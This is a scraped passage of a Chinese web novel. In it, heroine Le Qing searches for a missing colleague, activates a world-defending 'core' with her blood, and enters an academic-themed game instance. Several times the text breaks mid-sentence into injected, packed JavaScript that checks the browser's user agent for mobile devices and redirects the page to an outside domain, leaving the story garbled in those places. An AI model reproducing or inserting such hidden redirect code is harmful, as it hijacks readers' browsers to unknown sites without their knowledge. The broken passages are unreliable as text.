乐晴吓了一跳，下意识把纸和笔一起塞进兜里。 “贺队！” “调整好了？” 如果破罐子破摔也算是调整好了的话，那就是调整好了。 “……差不多。” 贺以辛确认：“能出任务了？” “能。” “那就好。李茉子在楼下，你和她一起去吧。贫民区与和平区交界处，出现了一种新的怪物，估计攻击力一般，但是灵活性强。” “是。” - 不是说写了信悄悄跑吗，怎么转眼又出任务了。 想到这里，乐晴忍不住叹了一口气。 “是不是太累了？”李茉子看乐晴心不在焉，有些担心。 乐晴含糊其辞：“可能有点。茉子，我有件事，想问你。” “嗯，问吧。” “如果……我是说如果，有一个你很熟悉的人出现在你的面前，他想杀掉你，可是你无法分清你感受到的杀意是幻觉还是来自对方……这个时候，你会选择怎么办？” 李茉子甚至没有犹豫，坚定地回答：“杀了对方。” 乐晴的心里有一个答案，但没想到李茉子没有太纠结就说出了这个答案。 李茉子解释：“如果我们没有办法突破幻觉，那就在限定的条件中做出选择。显然，我们不可能坐以待毙，等对方来杀自己，那就只剩下杀了对方这一个选择。” “这么直接？会不会存在逻辑漏洞？” “创作需要逻辑，生活可不需要。”李茉子笑了笑，“做就对了，不要想太多。这个世界，弱肉强食，没有那么多善良。只有先行动，才能看见行动之后的结果，然后获得反馈。错误也好，正确也好，总要做出选择，才能做出下一个选择。” 乐晴诧异于李茉子的坦诚。 李茉子告诉了乐晴她的行为逻辑，而乐晴只是在试探她的看法。 想到这里，乐晴还是有些愧疚。 “到了。”李茉子提醒。 任务地点在和平区和贫民区的交界处，离金字塔不远，路上花费的时间也不多，很快就到了。 交界处就像楚河汉界，一边贫瘠，一边繁华。 当初，贺以辛带她从贫民区前往和平区的时候，穿过了一堵雾墙，他们现在也一样，穿过一堵雾墙而来，眨眼间眼前的景色就从高楼大厦变成了荒凉的沙丘。 新的怪物，攻击力一般，但是灵活性强。 可贺以辛也没告诉她，这攻击力一般、灵活性强的新怪物是缠在一起的蛇啊。 乐晴鸡皮疙瘩都起来了。 黄沙之上，数不清的蛇缠绕在一起，一条蛇身上缠绕着无数条蛇，它们彼此缠绕，缠成一颗球，露在外面的是眨着绿眼、吐着信子的蛇头。 蛇头的眼睛齐刷刷看向乐晴。 乐晴被那些眼睛看着，忍不住退后一步。 “能放火烧吗？” 乐晴看着蛇网里数不清的蛇，觉得用子弹的效率太低了，不如用火。 “能。”李茉子拿出喷火枪，“我走这边，你走另外一边，我们围着这些蛇往里烧。” 乐晴拿着喷火枪往另一头走。 “嘶嘶——嘶——” 蛇在朝她吐信子，乐晴打开喷火枪，火焰瞬间将蛇头烧为灰烬。灰烬落入尘埃，复归自然。 它们诞生于火，复归于火。 “嘿，让我出去。”触手在叫她。 “你出去干什么，抢我的命珠？” 乐晴才没那么笨。 她拿喷火枪就能扫射拿到的命珠，凭什么分给它？ “不是，我感知到不对劲，你不跑，不能妨碍我跑吧？” “……”乐晴提着小萨的触手，把它拎出来，“说，什么不对劲？” 小萨在她手中扭了两下，放弃挣扎，指着李茉子去的那一头：“那边。” “李茉子？”乐晴皱眉。 可看过去，那头左右熊熊燃烧的火焰和缠绕扭动的蛇。 “你说清楚是什么不对劲，李茉子还是蛇？” “我不知道，我只能感知到不对劲。”小萨又扭动几下，“我闻到了很多气味。” “很多气味？” 还有其他怪物出现吗？李茉子一个人会不会出事？乐晴把触手扔出去：“你负责对付这些，我去看看。” “逃命吧！”小萨急得原地打转，可和乐晴结成了契约，它又不能真的转头就跑，“我能感知到，他们很危险！” “危险我也要去看。” 乐晴没再管触手，拿着手枪往另一头跑。 “喂！”小萨的八条腿忙着捡命珠，也顾不得乐晴，只好嘀嘀咕咕。 “最好是被抓走了做研究，还免得我给她还债。” - 乐晴跑到李茉子这边的时候，已经是气喘吁吁，可是这头什么都没有，连李茉子也没有。 不对……李茉子应该在这边，就算她要走，也跑不了这么快。 乐晴往另一边看，她们来时坐的车还在原地，说明李茉子离开也没有坐车。而靠双腿，不可能如此迅速。 地面只留下一缕烟尘。 “喂，贺队，李茉子她……不见了。” - 距离李茉子失踪已经过去了八个小时，整个安全部乱成一锅粥，就连贺以辛也疲惫得不成样子。 “贺队，李茉子她……” 只能是失踪。 画上代表李茉子的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“终极武器。”黎楷期摁下机关，玻璃罩子升起，露出里面的白色方块，“本来，这个终极武器不应该现在使用，但是空域遭到入侵已经是最严重的问题之一了，不得不提前使用。” “这个……怎么用？”乐晴拿起这个终极武器，没觉得它和普通的方块有什么不一样，一样的光滑，边缘锋利，用力会割破手。 黎楷期摇头：“具体使用方法我也不知道，你需要去找贺队。” “好。” 事不宜迟，从武器库出来之后，乐晴马不停蹄回去找贺以辛，正好遇到贺以辛过来。 “贺队，我拿到了！” 贺以辛颔首：“跟我走。” 乐晴有很多问题，但是现在情况紧急，乐晴不知道怎么找李茉子，不知道怀里揣着的终极武器到底是什么，不知道入侵空域的又是什么东西。 但是她现在没有机会问。 贺以辛带她去的，是金字塔的地下。 “贺队，原来金字塔在地下还有。” “嗯。” 空洞中的气流带他们一路向下，一直通向黑暗尽头。 尽头通向哪里，世界的另一端吗？ 26. 核心 地下空间的构造和金字塔指挥部的差不多，只有一个全白的房间。 不同的是，地下空间墙上挂的画是六个人。占据画幅最大的是一个赤身的男人，在他的左下角坐着一个孩子，右下角还有四个人。 “贺队……” 乐晴话没说出口，贺以辛揭下那幅画，露出墙上的暗盒。 一个方方正正的，正好能容纳一个方块的空间。 “贺队，这是什么？” “核心。”贺以辛拿出一把小刀，“割破你的手指。” “啊？”乐晴下意识握拳，把手指藏在手心，“割破我的手指？” “是。”贺以辛把小刀递到她的眼前，近乎恳求，“相信我，我不会伤害你，只有你才能阻止这一切。” “阻止什么，空域入侵吗？为什么我可以阻止？” 乐晴不理解。 她只是一个半路加入的人，算起来，她也算异乡人，可为什么她能够阻止异乡人入侵空域？ “乐晴，没时间了。”贺以辛看着显示屏上的红色光点闪烁的频率越来越快，警报声也越来越尖锐。 他们即将突破那层保护罩。 “乐晴，事情结束之后我再跟你解释，求你，先帮我。” 乐晴从来没见过贺以辛这副模样，他的声音和手都在轻微颤抖。 乐晴不再犹豫。 “好。” 乐晴从贺以辛手中拿过小刀，割破自己的手指，红色的鲜血从伤口流出，滴在白色方块上。 细细密密被渗透的声音过后，白色方块开始散发微弱的红光，紧接着，贺以辛把方块放入了核心。 核心和方块几乎严丝合缝，淡红色的光点从方块中逸出，迅速填满核心与方块之间的缝隙。 乐晴只听到细细密密融合、分离的声音，仔细地看着方块发生的变化。 像是一块落入咖啡液的方糖，方块解体了。 无数散发着红色光芒的颗粒从核心冲出，穿过乐晴和贺以辛，穿过厚厚的地层。 贺以辛帮乐晴包扎好伤口：“要去看看吗？” “好。” 乐晴在贺以辛的带领下，重新回到地面。 - 凛冬是一名画家。 她在这里已经生活了快十年了。这十年来，她独自经营着一间画室，偶尔有几个客人过来跟她闲聊。没有客人的时候，她都在阁楼里画画。 贺以辛总说，她好像把自己囚禁在了阁楼里。可她知道，她在躲避。 越强大，要承担的责任就越多。不如老老实实做一个平平无奇的画家，没有人欣赏也无所谓。 她不再那个懵懂的年纪，没有一腔热血，她只想在这里完成自己未完成的画作。 “凛冬姐，外面好像出事了。” 来的人是鳗鳗。 凛冬不喜欢这个名字，这会让她联想到鳗鱼，那种长条长牙的，浑身粘液，滑不溜秋的生物让她头皮发麻。 鳗鳗叫这个名字，也是因为她养了很多鳗鱼。 凛冬不喜欢，但这只是她自己的喜恶，她从来没有跟鳗鳗说过，她的喜恶与鳗鳗无关。 “出什么事了？” 凛冬忙着将两幅画的元素拼接起来，构成一幅完整的画，可怎么拼接都不对，不是比例不对，就是元素搭配起来太违和。所以，今天她还没有来得及打开窗帘。 于是，鳗鳗绕过立着的画架和凛冬随意摆放的石膏像，拉开阁楼窗户的窗帘。 刺眼的白光闯入，凛冬看见了很多红点。 凛冬的手一抖，画纸的碎片飘落在地上。 “是异乡人！” 凛冬冲向窗户的时候，不小心撞到了立着的画架，拼好的纸片散了一地，可凛冬没有闲心去管它们。 凛冬抓着窗户的边缘，将身体微微探出，看着空中越来越近的红点。 “是他们！” 他们还是来了。 不管她怎么做，都逃不开。 强大的时候，她是和他们在战场正面交锋的战士，躲藏的时候，她是被他们如蝼蚁般碾碎的无辜者。 躲不开，不管她怎么做，都躲不开。 或许贺以辛说的没错，逃避带来的永远是被动，而拼死一搏，或许还有希望。 就像他一直做的那样。 “鳗鳗，我要走了。” “啊？去哪儿？”鳗鳗看着越来越近的红点，看着楼下惶恐的车流，有些茫然。 自从她认识凛冬开始，凛冬就一直待在这个阁楼里，每天除了吃饭睡觉，就是画画，一张接一张地画，画了一幅，烧掉一幅……这么多年，凛冬都没有留下一张完整的画作。 也或许有，只是她从来没见到过。 “鳗鳗，我昨天酿了两壶酒，一壶你拿去吧，一壶……你帮我送去给贺以辛。”凛冬蹲在地上，把碎纸一片一片捡起来，扔进陶瓷盆中，然后点燃火柴，将所有付之一炬。 “凛冬，你要去哪儿，为什么这些画都要烧掉？”鳗鳗忍不住问出这个她疑惑了很久的问题。 起初，鳗鳗好奇，为什么凛冬从来不出门，她的生活用品都从哪里来。 凛冬不说，她也就心照不宣地不问。可到了这个时候，她还是忍不住问了。 她从前想，或许凛冬是什么逃犯也说不定，不然为什么一直躲着不出门呢？ 后来，这个猜测不攻自破，因为贺以辛和她是朋友。 贺以辛，金字塔的人，直接管理安全部。 如果凛冬是逃犯，贺以辛不会放过她，还和她成为朋友，隔三岔五过来送东西。 “我要去一个很远的地方……”说着，凛冬沉默了，然后忽地笑了，“不，我不会离开，我还在这里。” 鳗鳗更不理解了。 什么叫做要去一个很远的地方，却又还在这里？ 没等鳗鳗继续问，凛冬把房间里属于自己的东西全部塞进行李箱。 凛冬的东西很少。在这里生活了快十年，也就只有三套衣服，一点日常用品，还有一枚徽章。 凛冬拖着行李箱小跑到门口，又停下来，回头看了这个地方最后一眼。 一切都收拾好了。 凛冬看着鳗鳗笑：“鳗鳗，我走了，记得把酒带走。” 鳗鳗想，她会永远记得那个笑容。 自从认识凛冬，她就是一副愁云惨淡的样子，好像下一秒就会世界末日。 凛冬从不出门，可是身手很好，而且手上的茧子很厚，尤其是虎口处和掌心。 凛冬也总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎呀，猪脑子！” 鳗鳗拍了一下自己的脑袋。出了这么大的事，又是异乡人又是核心的，贺以辛肯定不会在金字塔里啊。 或许真的是核心出现了，金字塔很多人都在往那边赶。 鳗鳗一咬牙，脱下马甲外套，用外套包住马甲，然后抱着酒跟着他们跑。 也用不着他们跑，鳗鳗的脚步渐渐停下来。 光点已经弥散开了。 地面、空中，全部都是红色的光点，它们如同一束发散的光柱，冲向云霄。 空中异乡人的红色光点，很快被核心的光点吞噬了。 原来，这就是核心的力量吗？ 鳗鳗远远看着修补世界的光点。 那么，启动核心的人是谁，真的是凛冬吗？这么说，凛冬是不是因为这次的异乡人入侵，回归了金字塔？她是不是还有机会再见凛冬？ 想到这里，鳗鳗低头看向怀里的那壶酒。 或许，她可以过段时间再把这壶酒给贺以辛，说不定还可以见到凛冬。 27. 学术圣殿（一） 乐晴看着逐渐淡去在天际的光点，有些恍惚。 “贺队，这些是……” “核心。” 贺以辛看着逐渐消散的红色光点，只是淡淡回答两个字，然后就看着光点慢慢消散，直到彻底消失，久久没有出声，好像在送别什么。 “核心……消失了？” “是，准确来说，是起效了。” 就好像感冒颗粒，融化了。 下一场感冒袭来的时候，需要另外一包感冒颗粒。 没有能永远起效的感冒颗粒。 “贺队，”乐晴反应过来，“李茉子呢？” 她最初是为了寻找李茉子，才渐渐接触到核心。 李茉子的失踪和空域入侵发生在同一时间，核心抵抗住了空域入侵，那李茉子是不是已经回来了，或者……更糟糕的情况是，她被带走了。 贺以辛操纵着随身空间，最终确定：“回消息了，李茉子在后山。” 后山，又是后山。 乐晴出现的地方，丁凡将乐晴拉入迷雾之镜的地方，现在，也是李茉子回来的地方。 - 不过两天的功夫，后山又变了一副模样。草地变得焦黄，两边的树木也烧得只剩漆黑的树干，有几根枯枝上长出了微不可见的嫩芽，预示着灾难后的新生。 在这里，乐晴找到了灰头土脸的李茉子。 乐晴忙不迭把自己的外套脱下来，罩在李茉子身上。 “你怎么样，发生了什么，有没有受伤？”乐晴没看出来李茉子身上有伤口，也没看出来什么不对劲，但又担心李茉子有什么内伤，“这样，我们先回金字塔，去医疗部检查一下。” “不用不用，我没受伤，我很好。”李茉子按住乐晴的手，“乐晴，你听我说，我跟你说的事情，不要告诉任何人，包括贺队。” “包括贺队？” “嗯，包括贺队。” 李茉子观察四周，确认没有其他人之后，这才拉着乐晴走到一棵长了两颗绿芽的树旁坐下。 “等一下。”乐晴糊涂了，拉住李茉子的手，“为什么不能告诉贺队？” 丁凡曾经也说过这句话，不能告诉贺队。 现在，乐晴害怕“不能告诉贺队”这句话。 贺以辛折腾她，乐晴能找出理由：一切为了金字塔，为了这个世界。 自古以来，个人的牺牲换集体的安全，统治者，或者说领导者，都是这么做的。至于这个“个人”是谁，落到谁身上就是谁，贺以辛不在乎，也不关心。 而乐晴从小到大接受的教育也都是集体大于个人，无私为集体奉献。至于无私到什么程度，奉献到什么程度，奉献给了谁，她也没想过。 乐晴能接受贺以辛对她的利用，因为他的出发点是维护这个世界。 到底是什么事情，会让李茉子说出不能告诉贺以辛这种话？ “因为事关重大，在确定之前，不可以告诉任何人，不可以让任何人知道。” “好，我保证不告诉任何人。” “乐晴。”李茉子犹豫再三，慎重地说出了自己知道的那句话，“金字塔，有内鬼。” 金字塔，有内鬼…… 又是这句话。 骤然间天旋地转，乐晴似乎被人拍了一掌，然后就坠入了无尽深渊，看不见，听不到，感受不了。 星河像碎裂的命珠，裹挟着乐晴从一个世界穿梭到另一个世界，在纷繁的世界中流转，有的世界人声鼎沸，有的世界一片死寂。 “小晴，师傅能教你的就这些，是时候去完成你的任务了，逃避不是办法。” 师傅，我没有逃避。 “小晴，你的任务重大，不该困在混凝土牢笼里，也不该拿一把杀猪刀过一辈子。” “小晴，去吧，那是你的使命。” 师傅的声音消失，贺队的声音出现。 “乐晴，你的基因让你进入金字塔，这是你的权力。” “伴随权力的，是责任。” “乐晴，只有你的血，可以激活核心。” 给她这些权力和责任的时候，有没有人提前问问她，到底愿不愿意接受呢？ 从始至终，她没有想过要当什么天龙人，没有想过要让活生生的人成为她的玩具，她只想要一个平凡的生活啊。 可是命运甚至不愿意给她一个完整的家庭。 “乐晴，醒醒，乐晴。” 乐晴的感知逐渐回笼。 恍惚之间，乐晴看见了重叠的人影在她眼前晃动。 “乐晴，是我啊，你怎么样？” 乐晴只能听见对方模糊的声音。 不认识。 【欢迎进入迷雾之镜】 机械的声音响起，乐晴心里一万头草泥马奔过。 怎么又莫名其妙进来了？这次，她可真没几颗命珠。 【滴——检测到挑战者进入，任务分配中——】 【本次挑战为副本：学术圣殿】 【你的身份：艺术系研三学生。你因为作品被同学抄袭，正面临延毕、甚至退学困境】 【你的道具：学分钱包。初始100学分，每次死亡扣除20学分，低于60分退学预警，低于40分受到监管，低于20分回到起点，学分归零人物死亡】 【回血项：《如何在三天内写完博士毕业论文》《如何从艺术系转到医学系》《如何在四年内成为医学博士》。每找到一本指南，可回血30学分。注意：学分100分为满分】 【通关条件：顺利毕业。温馨提示：请不要走任何捷径，包括但不限于靠父母、祖父母、叔姑舅姨的关系。如发现任何违规，初次扣除30学分，二次直接死亡】 乐晴：？ 为什么让她回到大学？ 大学，她忙着上课、实习，还被逼着参加什么破学生会，七点起十二点睡，不比当白领时轻松多少。 乐晴睁开眼睛，一张陌生的脸就怼在她眼前。 【人物解锁：夏未，你的青梅竹马，24岁，金融系研三学生】 夏未看见乐晴睁开眼睛，长舒一口气：“乐晴，你终于醒了。吓死我了，我还以为你死在汪老头的歌声里了呢。” 汪老头的歌声？ 乐晴环顾四周，她正在一间富丽堂皇的宴会厅内，脚下是木地板，屁股下是红色绒布覆盖的座位。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271290|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宴会厅的穹顶下流淌着琥珀色的光，水晶吊灯自雕花穹顶垂落，棱镜折射的光斑在舞台上跳跃，将墙面上的镀金校徽映得流光溢彩，厚重的红色布幔挡不住这里浓厚的纸醉金迷的气息。 靠近舞台的角落，一架黑色三角钢琴泛着光泽，背景墙上的“108周年校庆”的赤红大字还没有撤下。 身旁的学生三三两两已经在往外走，嘴里念叨着“毕业论文”之类的话语。 “汪老头是谁？” 校长吗？ “乐晴，你是不是病了？”夏未用手背探了探乐晴额头的温度，又摸了摸自己的额头，“没发烧啊。” 夏未犹豫了一下，拉着乐晴就要往外走：“乐晴，可能是因为昨天的一场雨淋感冒了。我现在带你去校医室。” 乐晴下意识拒绝：“大晚上的，校医室能有人吗。” “……没人。但是我不能看着你这样。” “哎呀，我没生病。”乐晴不知道该怎么跟夏未解释，生拉硬拽让夏未坐下，“我没生病，不需要休息，也不需要去校医室，你只需要回答我几个问题。” 反正没说不能崩人设，这个夏未看起来知道些故事背景，她得抓紧弄清楚这个世界的背景。 夏未琥珀色的眼睛眨了眨，点头：“好，乐晴，你问吧。” “第一个问题，汪老头是谁，我们学校的校长吗？” 夏未摇头：“不是，我们学校的校长姓王，我们一般叫他王鬼子。汪老头是隔壁学校的校长，喜欢唱歌，附近学校有晚会，他都会去唱首美声串个场。” “……”兴趣好独特的校长。 乐晴又问：“为什么叫校长王鬼子？” “不知道，一届一届传下来的，具体为什么大家都不清楚。” 一个外号能一届一届传下来却不知道原因，说明这原因背后大有来头。 “第二个问题，现在几月？” “九月。”夏未指着门口的海报，“今晚是迎新晚会。” 九月……一般来说，十月到十二月是交毕业论文初稿的时间段，现在九月。她还不清楚自己的作品被抄袭到什么程度，最差的情况是一切推翻重来，这就意味着选题、开题报告都要重来，开题答辩的问题也不知道该怎么解决…… “你知道指南应该在哪里找吗？” 问完乐晴就后悔了。 她担心把指南的具体名称说出来会出事，只能模棱两可地问一句“指南在哪里”。可指南之类不是明摆着要去图书馆吗？ “乐晴，你要什么指南？”夏未眨了眨眼睛，“如果是一般的指南，图书馆就能找到，如果是权威一点的，就要去藏书厅了。” 什么叫权威一点的，什么是藏书厅？ “权威一点的指南包括什么？藏书厅是什么地方？” “权威一点的……诸如需要用到权力的，比如《如何通过导师避免不必要的实习》。藏书厅就在学校里，具体位置我也不是很清楚，只知道那是一般人不知道也找不到的地方。” 夏未强调：“如果你要找的指南很权威，就只能去藏书厅。” 看来藏书厅藏的不是权威的指南，而是“权威”本身。 28. 学术圣殿（二） 校园里人潮汹涌，乐晴蛰在湖边人迹罕至的小树林里，直到夜色深浓，时针堪堪指向十一点。 晚自习的喧嚣早在十点便已落幕，可直至十一点半，教学楼里依然有零星的学生身影晃出。乐晴屏息凝神，不敢妄动，生怕被人发现动机不纯，继续在树影的遮蔽下等待时机。 夏未说过，藏书厅就在这校园的某个角落。她多方打探，却始终未能揪出它的确切位置。今夜，唯有潜入暗处，一探究竟。 避开监控，乐晴自架空层悄无声息踏上楼梯。一层，又一层。月光从高大的窗户斜切进来，映照着两侧排布整齐的教室门扉，走廊空旷得瘆人，偶尔，不知何处传来脚步的回响，窸窸窣窣，转瞬即逝。夜风呜咽着掠过，在空旷的廊道里卷起一阵呼啸，旋即又归于死寂。 每一层皆是如此。冰冷的教室，望不到头的走廊，不见半分藏书厅的踪影，甚至连一丝指向它的线索都没有。 “……什么都没有。”乐晴揉着发酸的后颈，最终悄无声息地退出教学楼。 按照夏未的说法，藏书厅或许就像通往迷雾之镜的入口，踪迹难寻，可也许就在下一个转身，下一个眨眼，就已经置身其中。 夜色如墨。乐晴目光投向不远处的科技楼，身影自楼道敞开的窗口翻入，融入更深的黑暗。 科技楼内的空气带着一股与教学楼截然不同的，冰冷的金属与化学试剂混合的气息。中央空调系统低沉的嗡鸣是唯一的背景音，在死寂中显得格外清晰，又格外瘆人，让乐晴不禁想起她第一次进入迷雾之镜，在夏夏办公室的时候。 相比于教学楼，教学楼更空旷，更规整，也更像一座巨大的、精密的牢笼。惨白的节能灯光从高高的天花板上投下，将乐晴的影子拉得细长、扭曲，无声地贴在冰冷光滑的地砖上，随着她的移动而诡异地延伸。走廊两侧，是一扇扇紧闭的实验室门，门牌上的字迹在冷光下泛着无机质的微光。 说是科技楼，其实有三层是实验室，有三层是机房。即使到了半夜，实验室里依然有学生还在做实验、计算数据。 乐晴放轻脚步，在迷宫般的回廊里穿行。她试图寻找任何标识，任何可能指向“藏书厅”的蛛丝马迹。然而，除了冰冷的实验室、机房，挂着各种复杂图表的准备间，依旧一无所获。 就在她走到一处T型走廊的交叉口，犹豫着该往左还是向右时—— “叮。” 一声清脆的电子音突兀地撕裂了这片沉滞的寂静。 乐晴浑身一僵，瞬间屏住呼吸，猛地循声望去。 声音来自右手边走廊尽头。那里，一部老旧电梯上方猩红的指示灯，正从“1”缓缓跳成“5”。 为了尽量掌控局面，乐晴特意没有走电梯，而是走楼梯，以免出现类似电梯门开遇到人的情况。现在情形反过来了，可担惊受怕的依然是乐晴。 乐晴下意识将自己更深地缩进旁边一处消防栓的阴影里，猜测电梯门打开之后即将出现的场景。巡查的保安吗，还是深夜做完实验打算回宿舍休息的学生？ 电梯门无声地滑开，里面空无一人。惨白的光线从轿厢内倾泻而出，照亮了门口一小块地面。 乐晴死死盯着那洞开的门扉，后背紧贴着冰冷的墙壁，掌心沁出薄汗。一种强烈的、混合着恐惧与奇异直觉的预感攫住了她。 电梯里没有人。 它停在那里，敞开着，像一个无声的邀请，又像一个精心布置的陷阱。轿厢内部光洁如镜的金属壁，反射着走廊的冷光，也模糊地映照出她藏身角落的轮廓。 藏书厅……难道会在这部深夜自行启动的电梯里？还是说，电梯通往的地方，才是真正的入口？ 乐晴感到一股寒意从脚底升起，瞬间蔓延至四肢百骸。 时间在死寂中一分一秒地流逝，乐晴逐渐下定决心。 乐晴从阴影里走出来，径直朝电梯走去。 或许电梯会带她去往一个很危险的地方，但她有刀又带枪，只要对方是物质，她就没什么好怕的。如果电梯带她去的是藏书厅，那就更好了，或许她可以在藏书厅里找到什么线索，解除自己的困境，能拿到回血项也是赚。 乐晴把杀猪刀拿在手里，谨慎地观察着四周的声响。 “咚——” - 黑白棋盘格大理石上，清脆的脚步声响起，细微的回音在宏伟到令人窒息的殿堂中漾开，随即被那无处不在的、低沉的嗡鸣所吞没。 镀金的灰泥浮雕如同凝固的怒涛，卷曲的茛苕叶、丰饶的果实、嬉戏的小天使从穹顶边缘倾泻而下，穹顶之巅，肌肉虬结的天使与半神在翻滚的、由金箔与深蓝颜料描绘的云层中激烈搏斗，光影流转，仿佛下一秒就要挣脱壁画的束缚。 穹顶正中心，一道柔和的、仿佛来自宇宙深处的光束精准地投下，笼罩着一座由金属骨架与星光流转的水晶镶嵌构成的庞然巨物，悬浮在离地数尺的半空。 高耸入云的椅背上，缠绕的毒蛇、咆哮的狮首与象征胜利的月桂枝浮雕，被他一一抚过，森然欲活。 亘古封闭、与墙壁融为一体的巨门，正在被推开。 “老大，乐晴已经按照我们的计划，进入藏书厅了。” “很好。接下来的事情，我自有打算，你继续跟那群高中生。” “是。” “等一下。”他忽然叫住来人，“他还不来？” “是。他说，他相信乐晴。” 他忽然笑了：“经历了这么多，他居然还相信一个普普通通的人类，真是好笑。” “老大，是否需要我再去请他过来？” “去吧，告诉他，我们的棋局，该走下一步了。” - 一阵钝痛袭来，乐晴龇牙咧嘴地抬手触碰到后脑勺，又一阵撕心裂肺的疼痛游走遍全身，乐晴嘶了一声，意识终于回笼。 她这是在哪儿？ 借着缝隙里透进来的光，乐晴发现自己正躺在床上，轻薄的被子覆盖全身，外面光线刺眼。 她正躺在宿舍的床上。 乐晴坐起来，拉开床帘，宿舍里静悄悄的，一个人都没有。 这是一间普通的大学宿舍，四人间，上床下桌，乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271291|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晴的床位在靠阳台的右边。 她对面的桌上摆着一只初具人形的人头雕塑，雕塑制作者看上去已经尽力了，细致地捏了骨头和五官，但依旧难看。 乐晴走下床。她的右边桌上堆满了红色的纸张，里面混杂着剪好的窗花，效果和那雕塑差不多，努力了，但努力未必有收获。 剩下的一张桌子还算正常，上面叠满了蓝色封面的课本。 “医学系的？”乐晴嘟囔，隔着一段距离，辨认着课本封面上的字，“普通心理学……” 看来，这是一个医学生的床位。 医学生床位的窗帘忽然被拉开，乐晴被吓了一跳，下意识拿出双管枪对准窗帘里冒出来的人头。 “……”对方挡开乐晴的枪口，“最近爱上射击了？” 乐晴：？ 这是什么世界，为什么他们见了枪也不怕？ 对方叹了口气，似乎是对这个世界的不耐烦：“喜欢射击去射击馆，别在这儿发疯。” 乐晴：…… 对方从床上下来，换好鞋：“走了，下一堂课是解剖。” “解剖？” 她不是艺术系研三的吗，研三哪里来的课？为什么还要上解剖课？ “你别是脑子烧坏了吧？”对方伸出手，在乐晴的额头上贴了几秒，又在自己的额头上感受了一下温度，“没发烧啊……乐晴，最近流感严重，虽然上头说是普通流感，但我们都是学医的，清楚这次病毒来势汹汹，会侵袭人的免疫系统，导致多种并发症，致死率高，要好好防护。” “等一下……” 乐晴的大脑一片混乱。 她确定自己刚进迷雾之镜的时候，她的身份是艺术系研三的学生，那现在是怎么回事?乐晴想了想，回到自己的桌子旁拉出抽屉，里面除了几幅简单的素描，就是同为蓝色封面的医学系的课本。 她也是医学系的学生？ “等什么？” 乐晴没回答，从对方手中拿过课本，翻到扉页：李韵星。 李韵星曲起手指，敲了敲乐晴的额头：“坏了，脑子真出问题了。” 乐晴下意识为自己辩驳：“我没有。” 但是哪个精神病会承认自己有精神病？满大街喊自己是精神病，意图闹得人尽皆知的，大概率不是真的有病，而是要利用精神病人的身份为非作歹，逃脱法律的制裁。 “好了，我知道考博压力大，也别这么着急啊。”李韵星揽住乐晴的肩，“我们没有他们的关系，得靠自己，但也要记住，考不上也有别的出路，而不是一条路走到黑。” 他们？乐晴想，李韵星说的他们，也许是同专业的其他人。他们有关系可以依靠，不需要付出太多就可以读博，而她和李韵星这类没有关系可以依靠的人，就需要加倍努力。 李韵星忽然问：“你实习的医院找好了吗？” 乐晴摇头：“还没有。” 别说找实习的医院了，她也不敢找啊。 这里，她的身份是医学生，但乐晴本人并没有真正学过医，去医院实习，那不是草菅人命吗？ 29. 学术圣殿（三） 推开厚重的金属门，一股浓烈、冰冷、带着刺鼻甜腥的福尔马林气味扑面而来，猛地灌入鼻腔，化学药剂特有的辛辣感直冲脑门，呛得乐晴一阵反胃。 乐晴倒也不是没有见过人的尸体，甚至亲手创造过两具尸体，但亲眼见到刚从福尔马林里捞出来的尸体还是头一回。也不知道是因为尸体被药剂处理过，还是因为密闭的解剖室供氧不足，乐晴只觉得喉头堵了些什么让她呼吸困难。 偌大的解剖室极其空旷，脚步声的回声此起彼伏，惨白的无影灯从天花板上投下毫无温度的光，将中间的银灰色金属解剖台照得纤毫毕现。 所有学生都套上了蓝色手术服，戴好了乳胶手套。 “今天，我们先复习一下上节课的内容。”导师环视一圈，视线聚焦在乐晴身上，“乐晴，你来。” 乐晴：…… 乐晴也不知道自己为什么不去搞清楚自己身份的变化，而是跟着李韵星来上什么解剖课。显然，她现在骑虎难下了。 走向解剖台时，乐晴的鞋底踩在铺满瓷砖的地面上，发出清晰却沉闷的回响，在过分安静的室内显得异常突兀。 解剖台上覆盖着浸透了保存液的厚重白色棉布。乐晴深吸一口气，立刻被那股浓烈的气味呛得喉头发紧，赶紧放缓呼吸的力度。 “别唯唯诺诺的，赶紧剖开腹腔，我们抓紧上新课。” 乐晴一咬牙，伸手将湿冷的布掀开一角，露出尸体的腹腔。 湿布下，人体的轮廓在浓烈的防腐剂气味中彻底显露。皮肤呈现出一种不自然的蜡黄与灰白交织的颜色，紧绷地覆盖在骨骼和肌肉的框架之上。表面的血管网呈现深褐色，肌肉束的纹理在灯光下清晰可见。 